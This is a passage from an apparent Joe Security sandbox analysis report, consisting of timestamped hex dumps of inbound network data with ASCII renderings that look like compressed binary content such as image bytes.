c9 2a 59 59 8a 28 75 5e 56 95 6e 56 45 a4 8b ca fd 7c cb 6e ac b3 5e 6d 31 76 e9 86 f7 4e db 36 7c c3 0f 6d c3 73 8b 1b 
52 36 54 0b cb e1 62 c9 20 5b 93 99 ad b5 a4 bb ae ed 77 fc f7 8c 6f a5 68 3d b3 ee 6d c3 2c 0c 6c bc 75 ca 44 92 1e c3 
b9 09 db 11 10 ad c3 c2 36 7b 13 d1 6f de d4 fd 13 58 d2 8d 82 1d 97 7a 1e e0 c7 32 2e 3c b0 96 9c 16 ab cf 50 79 9a 3b 
a9 02 07 fc 3b 4f f8 b5 e7 b9 93 0e b3 97 bc 8f 71 e1 7b 8f 21 61 9d 4c 6a 95 60 b2 28 08 5e b4 8d 59 ae 54 4e 56 5b 96 
46 6b ba 3a f5 8b 3e 5b e9 5d bd 6c 93 45 0a 66 49 37 e4 e4 c6 02 e4 c6 00 b1 08 d6 a9 8b b9 55 17 79 91 d2 ff 00 b6 b7 
eb a6 bf 9d c6 67 2e 77 79 d1 9c df 73 61 6d ff 00 f5 
Data Ascii: qZ0Fdn"7sx]2-%g,*YY(u^VnVE|n^m1vN6|msR6Tb [woh=m,luD6{oXz2.<Py;;Oq{!aLj`(^YTNV[Fk:>[]lEf
I7Uyg.wysam

Timestamp
kBytes
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2022-06-08 07:56:17 UTC 7171 IN Data Raw: 5b 43 53 c3 e8 e5 af 97 8e a4 98 6a dc 9f fe a1 8e df f4 a2 25 22 2e 65 7b 80 ad 6d e5 a9 e6 63 4b 97 5a ac 
e5 13 70 d8 7f a8 c2 d3 20 b2 58 c9 01 41 ad 68 45 17 e1 fb 5a cd 86 0e 6c bb 9e 66 c3 30 cb c7 aa cf 08 6b 95 85 6e 3f 
4a b2 f9 d5 97 a9 75 e6 db 5c f0 ef 2b a9 fb 5f de 31 fb 89 e0 ca 54 bf 39 5d da 50 58 12 8a 4a 06 92 36 97 92 de a6 5b 
6e 7e 5d 79 77 d2 ca eb ad 95 bd 44 c9 cd c9 19 bd d5 c7 55 72 ae 01 2d 70 06 db 49 7f 94 b7 f2 73 d1 dd 7c ac 8a ba 62 
f6 ce 64 e1 1b 77 f7 44 18 f9 d8 b8 b0 cc 4a c9 cb 60 5e e4 ae cb cb f8 9e 51 75 c8 de 6f 4d ba d4 c2 61 9d de b7 9c 84 
51 dd 29 87 94 f7 21 8b 2d 81 aa b5 2d 92 35 8d d6 ff 00 f9 96 ab 73 2f a3 53 cb 53 67 9f 6f 47 97 2e 52 ee 67 25 de 3e df 
6e 48 e2 47 54 61 4e 65 b6 5e 55 5b 42 8e 5b 35 3d 63 
Data Ascii: [CSj%".e{mcKZp XAhEZlf0kn?Ju\+_1T9]PXJ6[n~]ywDUr-pIs|bdwDJ`^QuoMaQ)!--5s/SSgoG.Rg%>nHGTa
Ne^U[B[5=c

2022-06-08 07:56:17 UTC 7187 IN Data Raw: b5 a9 db f2 da bf 7e 25 ea d3 13 5e d7 36 f4 ff d4 cd ed 1f a8 0d 3c 85 f7 48 15 e5 81 7b 70 5a 28 8a 68 dd c7 
95 50 7e 2d d6 c8 8d cd f3 12 e6 d5 db 49 5e 8d 6e 1e b3 0e db 93 b7 ae 5c 2d 7e e0 ac c6 75 26 ad 68 1c 11 6e 03 ca 
d7 c7 e6 e4 6b f5 ce 6b 65 ff 00 f0 ba fa 98 3b b6 ec ab be ed 67 71 c2 5e dc 2b 72 f3 12 6f 7f 11 12 2d ab cc dd 5c ac da 
96 e2 a6 72 c3 ee 98 c3 76 cb 4c 6b 3b 2d 09 b9 8b 52 80 03 cd cc df c5 af 4e 27 c3 8d cd 74 bd 97 dc 58 fb cd 0e e3 34 
30 64 85 2a 4c d8 a8 62 a9 e4 57 f9 36 dd cb c8 ad 24 7f 2d 6d 5e 9d 70 bf 93 a7 b5 a2 e1 7b 7d a6 87 6d 81 86 76 4c 68 
5a 45 7b 9e 29 1c 29 b1 61 44 16 f6 fd 2b 63 c5 dc e4 e6 ea d6 76 f4 4b 19 0d cf 78 c9 c4 74 c7 51 16 24 55 2b 23 e3 ad 
09 a9 bf c0 db f8 6a 15 55 53 b4 bc bd 3d 5a b3 4f b5 
Data Ascii: ~%^6<H{pZ(hP~-I^n\-~u&hnkke;gq^+ro-\rvLk;-RN'tX40d*LbW6$-m^p{}mvLhZE{))aD+cvKxtQ$U+#jUS=ZO

2022-06-08 07:56:17 UTC 7195 IN Data Raw: 33 6d 93 58 d3 47 28 10 c9 91 b9 5f 12 32 85 28 81 6d f1 68 d4 c5 6a f7 2d bb 99 af 97 f7 75 cf 69 f4 e9 ad fb 
64 b7 dd d6 6c 0c a4 8a 35 7c 88 66 6b 7f 2a 1e ac 48 f3 b4 6b 71 e7 e5 5e 7e ab 35 db 59 98 e5 b5 c5 6b 76 9c 8d c7 
2b 13 f2 ad 08 c5 88 a9 2b 6b da e2 bf 87 77 2d d1 d9 27 53 27 c5 c9 ae 57 11 d2 66 bc 61 fb 66 7c 1c 2c 8c 78 5c be 6e 
63 86 9f 22 fa 12 41 be 97 1e 6f 15 16 fd ab ed 56 5d 4b b6 6e 56 4c 1b c7 d9 b3 36 e6 61 86 20 ee 4c 29 34 b2 c9 5a 35 
49 f9 68 d7 7c 25 b9 97 a7 9b 97 4c e7 b3 18 e9 33 79 da f7 1d cf f2 d8 18 56 18 e3 92 b3 d0 90 8e 01 06 a2 c5 6e 7e af 
37 2f 2e a6 bc 2d e7 a4 d3 9e bb 28 92 0c 79 5f 22 43 c8 91 47 18 60 a5 47 87 28 6b 51 2e 4e a9 1b 59 c6 7b 5e 98 61 
ec ad df dc 7b 93 4f 9f 9a b1 a7 5a 0a 82 e7 8f 4f 6b 96 cf 
Data Ascii: 3mXG(_2(mhj-uidl5|fk*Hkq^~5Ykv++kw-'S'Wfaf|,x\nc"AoV]KnVL6a L)4Z5Ih|%L3yVn~7/.-(y_"CG`G(
kQ.NY{^a{OZOk

2022-06-08 07:56:17 UTC 7211 IN Data Raw: e7 32 bc c1 9d d2 ae 56 e7 50 79 a4 31 9e 11 89 2a be 5e 9d 74 ea 61 22 93 78 c7 ca 49 bb 0e ac b7 96 8c 16 
04 72 92 78 ad c1 7c 7f f0 eb 53 0b cb 27 9a 83 1f 31 84 f5 66 24 70 20 53 fd ba dc b1 8b 0e 6f b9 d9 33 c5 1e 3c a8 b1 
47 1f d2 7c 4f ed 1a e9 31 58 b6 c6 c7 d8 f1 6c 7b 8c 0b fd 6e 57 69 92 eb 20 48 8f 1e 0b 63 de 3a d8 bf 4c 5d 3c bc fa f3 
7f d1 2f c3 af e5 7e d3 bd c1 ed 83 b5 c8 ef 24 78 d0 65 25 32 12 19 16 f9 40 61 da 48 7b 81 13 1d cd dc f6 7f 99 cd af 0e 
b9 7a b2 c6 e3 ee 19 91 48 64 cd 9a 78 98 12 25 21 6a e0 13 75 54 56 eb ab e8 b2 d6 fb da ef e7 0c 4d b2 7f 2b dd 92 45 
24 02 78 62 ca 18 f4 62 92 44 16 ee 25 9f b8 55 78 ad 79 5d 5b bb f6 ba b5 75 99 e9 36 6d 72 37 9d b3 dc 18 43 73 da 60 
83 6f 77 95 56 62 aa 11 98 3f 2a 43 db 5b 6e 8f 83 
Data Ascii: 2VPy1*^ta"xIrx|S'1f$p So3<G|O1Xl{nWi Hc:L]</~$xe%2@aH{zHdx%!juTVM+E$xbbD%Uxy][u6mr7Cs`owVb?
*C[n

2022-06-08 07:56:17 UTC 7227 IN Data Raw: ce 4a bc 1e da 66 92 8e 2b 1a 00 01 b5 05 3e be a2 6a 7e ea eb 19 6d 24 ed 38 98 ec aa f1 c4 ac 17 89 24 16 
34 fb bf ee ea 65 70 f5 d9 db 6d 69 22 68 b9 0f 35 78 71 1c 1b 9d b5 2a c4 c4 db e0 c8 b5 eb 54 7f 02 38 f0 34 ff 00 e9 cb 
a9 83 27 9b 19 31 14 da a4 20 15 e1 c3 c3 fd 5e 2d a9 78 59 32 5a e2 64 a4 61 04 87 ba a5 94 71 b8 50 85 65 f2 aa f9 b9 
a4 64 f8 79 b5 71 30 99 aa 2d fd 0e 33 08 f1 7b 62 48 6a 6c 05 ee 53 4a 2f 34 65 df 91 59 59 ee bd 9f d2 96 eb ac b3 e5 
8c 5a 5d b3 fa fe 4e dc b2 4c 62 87 29 c1 75 46 43 25 ea 01 65 e4 ac 6c 24 af 97 fd eb 75 9c 4c ae 78 58 6d 1b 84 d9 0e 
f1 9c 69 12 30 4a f7 de 40 43 52 aa c6 38 47 47 4b 53 97 fd ed 5f 38 4f 4f 73 e0 bc d2 91 1b 33 47 6f 1b 79 6a 78 df f3 18 
db 6d 3f e5 fd ef 36 b3 86 b2 75 e4 c7 84 d1 d4 50 
Data Ascii: Jf+>j~m$8$4epmi"h5xq*T84'1 ^-xY2ZdaqPedyq0-3{bHjlSJ/4eYYZ]NLb)uFC%el$uLxXmi0J@CR8GGKS_8O
Os3Goyjxm?6uP

2022-06-08 07:56:17 UTC 7235 IN Data Raw: c5 bf 6d f9 30 9c 58 72 d6 6a b0 92 fe e0 63 4a df 6d 4d d2 aa c7 e6 bf ef 6b 86 da df 97 49 67 c1 77 8f 66 c1 
bc cd 16 5c f1 fe 6a 58 c9 b0 20 e4 b4 8f e6 f3 74 fe ef 3d 9a 49 67 45 da 7c b2 f8 ff 00 a6 5b 3e 06 68 dc e1 88 c4 22 26 
8a 18 d2 bf 53 09 04 9c be 9b 55 75 ab bd c6 2a 4d 27 71 a8 8b dd 5b 5c 72 fe 4d db e7 22 d6 db 92 84 75 75 57 e8 5e 
6d 67 5d 38 5b 69 bc 67 cf cb 95 d4 ac 6b 8e 4d 12 80 1a 82 2b 5a f4 ea 58 b2 a7 8c 68 70 61 74 20 99 1c 15 0c 81 43 
00 7f cb af 2a 2a f5 7c 3a c6 24 6b 39 53 7f ed bd bf e5 1c 14 68 66 8e 83 bc f5 92 53 4f f9 b2 73 2f dd fe 1d 6a df a4 93 
ec b9 e7 12 28 3f a4 65 e4 1e eb 06 36 b9 0a cf 5a 5c fe 2b d1 d5 cb e7 fe 2c f3 db 5c 74 a3 f6 f7 b6 f7 4d ba 61 16 4b e3 
64 e1 d6 b5 96 2e 71 5e a3 72 35 ad 2f db 56 f5 6b 
Data Ascii: m0XrjcJmMkIgwf\jX t=IgE|[>h"&SUu*M'q[\rM"uuW^mg]8[igkM+ZXhpat C**|:$k9ShfSOs/j(?e6Z\+,\tMaKd.q^r5/
Vk

2022-06-08 07:56:17 UTC 7251 IN Data Raw: f4 6a df c7 e9 9f ec fb 6f 86 66 2a 2a b6 db 11 99 1d 4d a5 28 6e a2 dc b7 48 f5 a7 2f 2f f0 eb 97 cb af c2 bf 13 
0d b2 64 79 33 93 bb 57 2e aa 55 49 46 a5 17 a7 e5 f2 da be 5d 2d 49 13 20 c9 fc b3 c9 13 2f 2a 82 e6 e1 c1 47 f0 dd c3 
c8 ba c4 cb 76 22 e3 6e 32 4e 1d 31 52 74 98 1b b9 85 05 d6 de 91 85 96 eb 63 6b 97 9f a6 dd 74 93 1d b1 da 76 06 e5 
9c d1 8f ea e9 0c 24 9a 17 59 49 52 6b c0 73 a2 7c 3e 7e bf 2e b5 70 cc 94 fa 22 80 c0 45 69 4e 54 f0 e2 3c 3a 7e af bd 
ae 6d aa 64 cd cc 0a d1 63 c5 12 3a 92 0b 17 af 05 1c 58 58 3d 5e 56 6b ba ba 75 70 19 33 e5 dc 57 b9 54 65 a9 e5 01 
48 3e 5f 1b b9 ad e5 ed ea a1 71 f1 72 8a 8a 48 d1 84 27 c7 89 2c 0f c5 c7 93 f9 76 7e f6 aa 2c 70 fd b5 88 90 ca 98 4a 
21 96 40 cd 78 55 06 e3 cd c7 91 bc dd 3c bd 3a 96 d5 90 
Data Ascii: jof**M(nH//dy3W.UIF]-I /*Gv"n2N1Rtcktv$YIRks|>~.p"EiNT<:~mdc:XX=^Vkup3WTeH>_qrH',v~,pJ!@xU<:

2022-06-08 07:56:17 UTC 7267 IN Data Raw: 42 1a ca 96 a7 02 7e ce b7 84 c9 63 79 1a d5 96 19 51 3c 68 c4 9e 1f 47 06 d5 67 b4 af e9 91 64 38 ee 8b 4d 
3a af 03 fb 3c 7f 6e 8b d2 34 9b 54 48 8d 22 d6 ab 4b 48 20 92 7c dc a0 f0 fb 5a c5 69 59 92 86 31 dc 22 ea f8 d7 c7 f6 ea 
e5 9c 17 bc 85 0d 45 41 1c 69 f4 7f 66 b5 86 72 88 90 45 dc 21 e6 70 3e 8e 5e 3f f7 e8 1c 7c 59 4b 11 09 0e 07 d2 3c 4f 
fb 75 72 98 37 24 19 4b 46 20 ab 0a f0 fa 0e 81 87 8d 9c 55 0d 5b d2 2a 0f fb 35 50 46 8c b6 b3 56 bf 4d 78 0d 10 fa 02 
7a ff 00 ef fa f4 43 bd c4 5a 0b c1 fd 83 45 2d ea 0f 01 52 3e a3 aa 87 1b 34 c8 28 00 2d f4 90 35 72 86 a5 95 e6 14 62 4f 
8d 3e ad 4c ab d6 3b 76 c7 20 e3 fb 34 0c 34 6a ec c5 89 35 fa 0f 86 a2 bd 88 4d 28 1a 80 d3 57 06 5e 8e 32 a8 b6 bc 07 
d3 5d 30 99 79 35 8c d2 ef 1f db a0 77 b4 8e 09 0c 
Data Ascii: B~cyQ<hGgd8M:<n4TH"KH |ZiY1"EAifrE!p>^?|YK<Our7$KF U[*5PFVMxzCZE-R>4(-5rbO>L;v 44j5M(W^2
]0y5w

2022-06-08 07:56:17 UTC 7275 IN Data Raw: 6a 4b 2c 31 0b 52 bc 54 9a d4 fd 7f ec d6 a6 ac dd 9a 78 e7 57 b3 0e 07 37 48 55 02 8e 1c 4f 00 28 d7 75 7a 
b5 da c9 ac 72 96 da b4 dd bf 4f f2 76 76 89 33 e6 8b 19 a4 35 20 86 01 6b e1 5b 57 cc bc df f1 72 eb c1 fd d2 f4 f5 ff 00 
55 8a e9 f0 b6 fc 02 f3 3e 60 99 81 a5 21 52 6a 3e b2 65 b1 47 f1 69 ef 3f 0b e7 09 db e3 e0 ed 93 a4 78 2e d3 29 45 67 
7e 15 0c 45 cc 9c a2 de 4e 9e a6 5f 8b 5c ae df 6e b2 7d 33 39 78 d0 8c 92 a1 99 b1 dc 70 a8 f0 27 8d b4 fd 9f 0e ba 6b 
b5 c6 5c ac c5 5b 26 64 31 5d 8a 1c b3 d7 95 57 e8 14 1c 9e 1a 49 96 ad c3 c4 7b 12 58 7c 59 40 04 96 f0 ab 71 02 bf 5e 
b6 c6 0d cb b4 47 8f 22 c5 2c 65 4b 29 20 54 db 5d 6a 56 6e b8 2e df b3 45 28 38 d2 d5 1c dc 43 2f 8d 07 91 97 eb d3 26 
11 f6 cd be 2d b4 b2 c8 41 22 a1 c1 fa 49 14 05 5b 5d 
Data Ascii: jK,1RTxW7HUO(uzrOvv35 k[WrU>`!Rj>eGi?x.)Eg~EN_\n}39xp'k\[&d1]WI{X|Y@q^G",eK) T]jVn.E(8C/&-A"I[]

Timestamp
kBytes
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Direction Data

Copyright Joe Security LLC 2022 Page 142 of 211



2022-06-08 07:56:17 UTC 7291 IN Data Raw: be 2a 93 7e 1c a1 d5 ba dd 5e 44 f4 a6 ba 59 96 23 d6 57 b9 f6 3c e8 26 93 b0 91 e5 c8 43 aa f6 42 d1 8d 58 
9e e3 16 12 27 dd e6 f4 2f 56 a4 97 2b 6c 59 fb 6b 60 f7 17 b9 23 59 66 95 70 b1 e0 04 a3 2a 2a 54 9e 65 55 51 65 c3 cc 
8f e5 f2 e9 b4 9a a4 b6 99 f7 57 b4 b3 71 f2 22 83 3b 30 bc ed 71 88 a2 4e e7 87 33 db da ee 2d ad ff 00 97 fd dd 73 d7 
7f e1 bb 13 30 65 f7 0c 71 24 70 26 3c ce 50 da 59 99 25 54 e9 be 4f 27 a7 a9 7e d7 36 a5 f2 bc ba 37 b3 f3 b2 91 7b 99 
11 95 91 50 97 78 68 d1 55 78 7e 3d dd bb be 1e af 87 59 f9 cc 4b c9 ff 00 72 fb f6 31 12 2c 10 9c c6 bc 22 a2 21 a8 21 
6e 77 f9 83 9b 87 a7 97 e2 d6 ee 76 63 59 35 66 5b 7c 8b 6f 80 ee 12 e3 c8 0c 2c d1 88 1e c0 17 8d 3e 8f 25 cf 75 e9 ea 
f3 2e b9 4d 39 76 bb 0d cb 79 8f 70 c5 49 e2 48 89 31 a8 
Data Ascii: *~^DY#W<&CBX'/V+lYk`#Yfp**TeUQeWq";0qN3-s0eq$p&<PY%TO'~67{PxhUx~=YKr1,"!!nwvcY5f[|o,>%u.
M9vypIH1

2022-06-08 07:56:17 UTC 7307 IN Data Raw: bd d2 bc aa ea 1d 8c 76 f5 2a c9 ad 7c a2 1e 02 6e 3b 0a 64 4e 8c 6d 91 1a 30 c5 8a 9a 1f 38 b4 fd cf bd 6e 
b7 b6 b9 66 5c 33 52 66 e4 63 c4 22 2e ca 93 00 5d 6a 68 68 6e 55 2b f6 ba 74 91 2d 49 c5 65 86 62 b0 06 57 68 cd 4a 
b5 0a d4 71 03 cc be 6d 6a 6d c2 5d 79 74 cf d2 0d f2 7c 59 06 dd f9 d4 c7 c6 2c 24 17 a1 66 76 51 77 65 26 fe 54 72 37 
5f 9e ef bd ae 3f a4 f9 74 d5 a0 f7 d6 ec bb ec 43 38 06 3b 67 3b a8 01 80 bd 4f 34 e3 b8 3b 8f 1d 3a 99 95 39 f5 7f 3c 74 
cd 95 8a d8 63 c5 dc f1 e7 71 24 6b 36 3a 5c 91 9e 63 21 76 b5 6d ab 72 a4 43 a9 be ce ba ed c7 49 2e 52 20 db dd e6 
0d 89 05 f2 c6 9c 62 8c 8b 40 34 1d c6 b8 af 2d cd cb fb ba 5b c0 a2 6c 39 d6 39 33 1a 26 48 55 ad ee 81 cb 71 3e 5f 52 
f5 74 fe f6 b3 76 6a 45 46 df bc 84 91 c3 d6 95 f1 ad 07 29 
Data Ascii: v*|n;dNm08nf\3Rfc".]jhhnU+t-IebWhJqmjm]yt|Y,$fvQwe&Tr7_?tC8;g;O4;:9<tcq$k6:\c!vmrCI.R b@4-[l993&HU
q>_RtvjEF)

2022-06-08 07:56:17 UTC 7315 IN Data Raw: cc 68 d4 ba 6a 2f 16 ea e6 b9 ba 75 de 6d 23 97 9a 8f b0 1c bd e9 8e 0e 22 34 b3 32 92 5b a4 0f 2f 3b 37 cb 5f 
b7 76 b5 76 9a f3 52 66 bd ed ff 00 a5 5b 8e 6e 53 60 11 1c 72 56 bc ec 40 af d3 63 2a 90 df bd ab 7f e8 92 33 fd 35 d7 
bd 9d fa 2d b3 6c eb 1f f5 29 84 db 81 52 5e d6 b5 63 af 0b 57 85 ac d6 ff 00 99 d7 e9 d7 9b 7f d6 ef 71 d3 7a e9 e5 7f bb 
ae 16 c8 3b a3 24 ba 08 6a a4 95 ec aa 82 d7 bb 59 cd 2b 2d c2 38 a3 b5 bf 8a ed 79 ee 9f 4e f3 6b 7b 56 6d 71 6d 5b fe 
df 93 3e 33 8c a9 22 46 ef 32 a5 65 72 d7 31 82 3f f9 4c b6 74 79 bc ec dc da 59 62 fa 71 5f 78 43 26 16 53 40 52 d6 46 
e6 05 cb d2 ee 98 ec 96 bd 3f f1 74 eb d5 a7 4e 5b b6 de ce cc d9 37 43 16 df 28 46 95 ed 51 1c d4 b5 68 bd 4a 5b 91 9b 
cb 62 5b fc 5a e1 be bb 4e 63 a6 b6 53 9f a8 98 98 
Data Ascii: hj/um#"42[/;7_vvRf[nS`rV@c*35-l)R^cWqz;$jY+-8yNk{Vmqm[>3"F2er1?LtyYbq_xC&S@RF?tN[7C(FQhJ
[b[ZNcS

2022-06-08 07:56:17 UTC 7331 IN Data Raw: d0 bb 32 fb a7 b8 bd cb b8 c4 f0 c7 87 d9 39 02 d1 48 bb 67 88 e5 7e ef cb e6 b3 f8 35 a9 ac 9f 26 6d 37 85 bc 
fb a7 61 b4 6e 18 bf 98 59 29 18 af 00 c4 72 27 34 26 e3 6f c5 c9 ab 66 bb 24 cc 41 38 1e f1 cf 64 8c e3 ce e6 45 16 f2 
00 2d 04 db dc a5 bf 6b e6 73 7f 33 57 11 32 e9 58 be cd dd 67 73 8f 96 f1 98 a5 82 38 e5 44 67 61 43 46 6e 60 57 ce 8a 
ac f6 c5 f7 f5 cf ae 97 33 e5 47 b9 ec 7b 67 b7 26 81 32 fb 61 4c 95 8d 8d 08 5a 78 bc 95 b9 dd 2b eb b9 6e d4 96 ec b7 
11 a7 32 64 e0 11 3c 91 94 8a 5a 30 21 43 33 33 79 9a 44 aa da df cb fd ed 62 ea d4 d9 41 95 b5 66 b3 4d 89 84 65 30 
cc ac a4 3d d5 57 61 f8 9d db 6e a7 35 8d d1 62 fe 1e 99 69 27 65 fd 2a 97 17 0b 23 2b 37 22 41 9d 79 76 25 6f 66 40 9c 
b1 45 1c 8c d4 32 7c ce 76 57 9b ec 6b 58 b5 cf d7 2b 2d 
Data Ascii: 29Hg~5&m7anY)r'4&of$A8dE-ks3W2Xgs8DgaCFn`W3G{g&2aLZx+n2d<Z0!C33yDbAfMe0=Wan5bi
'e*#+7"Ayv%of@E2|vWkX+-

2022-06-08 07:56:17 UTC 7347 IN Data Raw: 21 98 9a 9a 72 5c fe 5e 66 66 e9 6d 65 ac cf 97 b5 82 46 96 47 72 ac 00 31 80 78 5c 19 47 71 ee e2 dd 7d 1f 
f2 f4 c1 93 e3 0b 1a 1c 67 ef 32 47 21 ad 2a 68 07 a7 56 6b c7 29 eb 37 87 3b 9b 71 cc db b2 72 5d 49 9e 39 16 98 e9 1d 
19 0b ab 58 f7 49 e4 57 43 cb f3 3a 3d 36 ea e2 2a 5e 1e 56 e2 c4 c4 27 30 4e 8c ae f1 82 a5 a2 41 4b 62 b9 57 8b c9 d0 
cb e4 ea d3 11 2d 6f 71 64 c6 ca 96 5b 1f bf 35 6c 31 b7 15 5a 1e 65 55 3e 65 b7 99 f5 b7 3a f2 fb ee 1c 33 9c 57 92 3f ce 
96 76 b1 89 24 dd cb c2 ef 05 b2 df 4a e9 77 59 a5 71 cf 77 ee 98 f3 ee a7 db d1 ac 38 98 30 1b de 38 f9 9b 20 bb 2d d1 
8a 2f 23 f9 b9 7d 3a b2 71 96 ad e7 0a 3d ff 00 db fb 94 fd bf c8 e2 7e 5b 07 31 d5 0a c8 a8 b6 bd 69 5a 8f 0a 7f e3 e6 6d 
6b 5b f6 9b 7f 0c c1 93 70 da 1a 4c 6c 79 e4 c7 62 
Data Ascii: !r\^ffmeFGr1x\Gq}g2G!*hVk)7;qr]I9XIWC:=6*^V'0NAKbW-oqd[5l1ZeU>e:3W?v$JwYqw808 -/#}:q=~[1
iZmk[pLlyb

2022-06-08 07:56:17 UTC 7354 IN Data Raw: cc 63 35 6d 9b ec 2d cf 74 8b 1a 79 b1 30 e1 79 4f 05 32 d2 42 07 d3 7a 0b 56 cb 95 19 13 9b e1 d6 66 d8 5c 
65 77 9f fa 59 36 46 d7 d8 c1 c7 c2 8a 66 35 59 79 df 97 ea 12 30 ea e5 f4 eb 52 de d8 b6 39 66 47 e9 1e f1 2e 4c d1 0e 
c8 78 54 b3 8b 88 0c 07 57 6c db cd 6f 99 7e f6 ba cf da 46 76 d1 57 b8 fb 33 76 da 66 11 7e 51 cb 10 bc 63 05 c5 0f a5 
97 5d f5 fd 25 71 db 5a ad cf c6 cc 89 ec c9 86 44 20 9a 07 42 08 3f eb 1a eb 36 95 8f 38 6e ff 00 47 7d e9 8b b1 bc f8 b9 
8a b5 9e de db 3b 1a 29 e9 b6 de 8e 3d 5d de ae 5d 70 fd b5 cf 2d e9 7e 1a 7c a9 77 1c 1d ca 19 1a 66 fc ac b2 a9 94 32 
b5 9f 45 a0 49 f2 db cd 6f 3f a7 9b 5e 49 8b 1e ad b2 ea 18 1b f2 a4 6f 09 05 58 7d 20 50 10 7c d5 3f 12 ea 4b 88 cd 9c 
a3 e5 64 45 18 4f ca 2a 37 6c 12 78 d4 d6 86 d1 4b 5b 
Data Ascii: c5m-ty0yO2BzVf\ewY6Ff5Yy0R9fG.LxTWlo~FvW3vf~Qc]%qZD B?68nG};)=]]p-~|wf2EIo?^IoX} P|?KdEO
*7lxK[

2022-06-08 07:56:17 UTC 7370 IN Data Raw: 9e 9c d4 50 6a 8b cb cb 1a f9 fe d6 bc 9b f1 d3 b6 bc f6 b6 92 09 04 b0 2c 6a d2 63 35 69 35 45 17 ff 00 45 6d 
6b bf 8b d5 ae 59 74 5d 61 6e ef 2a fe 4d 23 6e e8 73 55 2a 57 a1 ae 0c 2f ea 0c be 34 0d ad ce 98 ab 26 f6 fb c7 95 8e 
d3 5d 27 7a 82 77 8d 80 54 6e a8 d1 15 6c 67 ba df b3 ab 35 4f 49 19 7b 0c 32 3a 63 b3 b6 35 fc bc b1 03 56 02 ea 46 ef 
56 ab dd cc d6 ff 00 7b 56 c4 95 8b ca de b6 9f 67 cc fb 76 42 4e 67 1c c8 eb 69 5f 02 3c 3a ea cd ea bf ab 93 52 6b 76 
6a df 2b dc 3c d6 8b 2b 09 70 f1 93 27 f3 13 14 05 98 85 a5 a5 9d ae 65 6b 1b d6 cf a6 ba 66 a6 db 62 25 41 ee 2c 4d d7 
3d e3 db 65 47 18 b1 b4 b3 ab 78 a3 20 a2 f6 6b cc f6 f3 5c c3 96 df 4e ba 7f 5b 1e d6 fb 96 df 9c 8d 0e 3e 0c f1 63 7e 6a 
01 2f 75 dc bd c3 aa 4b 23 f0 6b 41 b9 6d d4 f1 62 
Data Ascii: Pj,jc5i5EEmkYt]an*M#nsU*W/4&]'zwTnlg5OI{2:c5VFV{VgvBNgi_<:Rkvj+<+p'ekfb%A,M=eGx k\N[>c~j
/uK#kAmb

2022-06-08 07:56:17 UTC 7386 IN Data Raw: 2b 61 31 b7 2d 19 d5 be 1f 36 96 c4 c5 6e bd bd fa 77 ee 1f 72 bc f3 4b 24 50 9d ba b1 46 5a 3a 50 9e 3f 2d 40 
a5 cb 6a 2b 7c 3a 9e 73 38 2e f8 ed d0 76 5f 65 a6 13 b1 cc 73 3b 1b 57 ba 68 80 d3 c2 aa bc bc 5d 6d d7 1f 19 ed d3 fb 
3e 8e 64 e4 ed 99 11 34 d8 4d 1e 46 4a 33 46 19 08 62 ae 45 cf 77 a9 51 2d bf 9b e1 d2 e2 26 b9 b5 4f 2e 3e 02 cb 16 
46 4b bf 71 98 0e d1 14 51 e5 67 00 78 7d f6 d7 2e 1d 6c ab f8 ff 00 2b 1b f7 1e 30 eb 1b 28 ee 37 0b 6e e6 51 cb 6d ca 
da b6 e1 31 4d 26 39 cb c8 97 22 17 e5 40 6d 91 5e aa 09 ea 89 78 fe f5 e3 52 d5 8e 41 ba c9 ee 19 77 d7 c7 4e e4 b8 6c
ea 0c 88 18 2d 05 d6 29 92 31 54 bf a1 5b c9 ae ba d9 23 3b 4b 97 58 83 7a 10 62 5f 19 32 c3 8f 10 52 05 0f 10 68 d1 b5 
dc 4b 25 bc cf ea d7 1f 76 f6 df 89 f0 af c4 85 62 98 65 
Data Ascii: +a1-6nwrK$PFZ:P?-@j+|:s8.v_es;Wh]m>d4MFJ3FbEwQ-&O.>FKqQgx}.l+0(7nQm1M&9"@m^xRAwNl-)1T[#;
KXzb_2RhK%vbe

2022-06-08 07:56:17 UTC 7394 IN Data Raw: c7 9b 22 a2 66 c0 88 8e 23 b0 b9 f0 6f ec ff 00 87 d5 ac 65 ac 35 1e d6 78 e6 db df 1d 45 32 2f 0f 27 89 06 ee 
9b 4d 3c ab ae da 59 66 1c 3f 49 66 d9 66 65 ca dc 57 35 d5 01 58 d5 ad 5b 54 15 66 3f ed fd ed 70 ce 1d f1 93 49 b5 bf 
b8 32 5f 13 85 10 f3 82 6a 28 79 ac e3 72 b7 d9 5f bd a4 d2 ed 56 ef 35 8b 1c 5d b7 64 da 09 c5 da b1 21 61 22 52 49 52 
94 8c 55 ba a5 51 c3 9f a1 13 e6 5f ae fc 47 0f f6 db f8 53 ef 7b f6 66 0e 13 e1 6c 4a d2 cc 80 21 91 22 04 93 f4 2b 28 b7 
cb e7 f5 6b 9c e5 d2 cc 76 8f ec fc dd c3 33 17 23 23 78 61 8d 2e 09 50 8d 41 65 02 de ee 55 4d 97 73 5a cb fe 2d 5b ae 
3a 4f 4c bf b9 ff 00 50 37 18 8c c3 6f 43 3c 11 3d 19 4a 96 52 0d 07 4a 0f 97 cd d0 da ba eb 9e d6 f1 d2 7e c7 91 bd 7b b3 
1d d2 58 4e de c1 d5 91 dd 08 0f c0 72 47 79 5e 
Data Ascii: "f#oe5xE2/'M<Yf?IffeW5X[Tf?pI2_j(yr_V5]d!a"RIRUQ_GS{flJ!"+(kv3##xa.PAeUMsZ-[:OLP7oC<=JRJ~{XNrGy^

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 7410 IN Data Raw: 42 eb 3b f6 9a cc b1 1f aa fe f8 cd cf 18 b2 cf 8a a1 48 ba c6 1e 22 ee 8e 56 af 4d b7 73 5d cd ae 72 67 97 5e 
b8 62 f2 b7 39 25 85 05 a9 8f 02 82 ca 8a 2b 4a 9e 2b 7b 16 63 d2 be 6e 5d 69 19 78 33 13 06 69 60 61 dc b9 aa 4d 78 fa 
be 8d 7a a4 cc 70 ce 29 dc 9f 72 33 92 61 41 18 22 80 f8 91 ff 00 d7 5b 9a e1 9b b3 5d fa 6f ee 4d cf 1e 1c 8d 8b 09 22 97 
f3 60 92 ae 42 b1 6a 52 a1 fc d6 af f2 bf e2 d6 37 d6 77 57 5b 72 d5 c9 ed 7d ef 72 92 39 b7 3f ff 00 06 8e 25 81 e2 59 02 
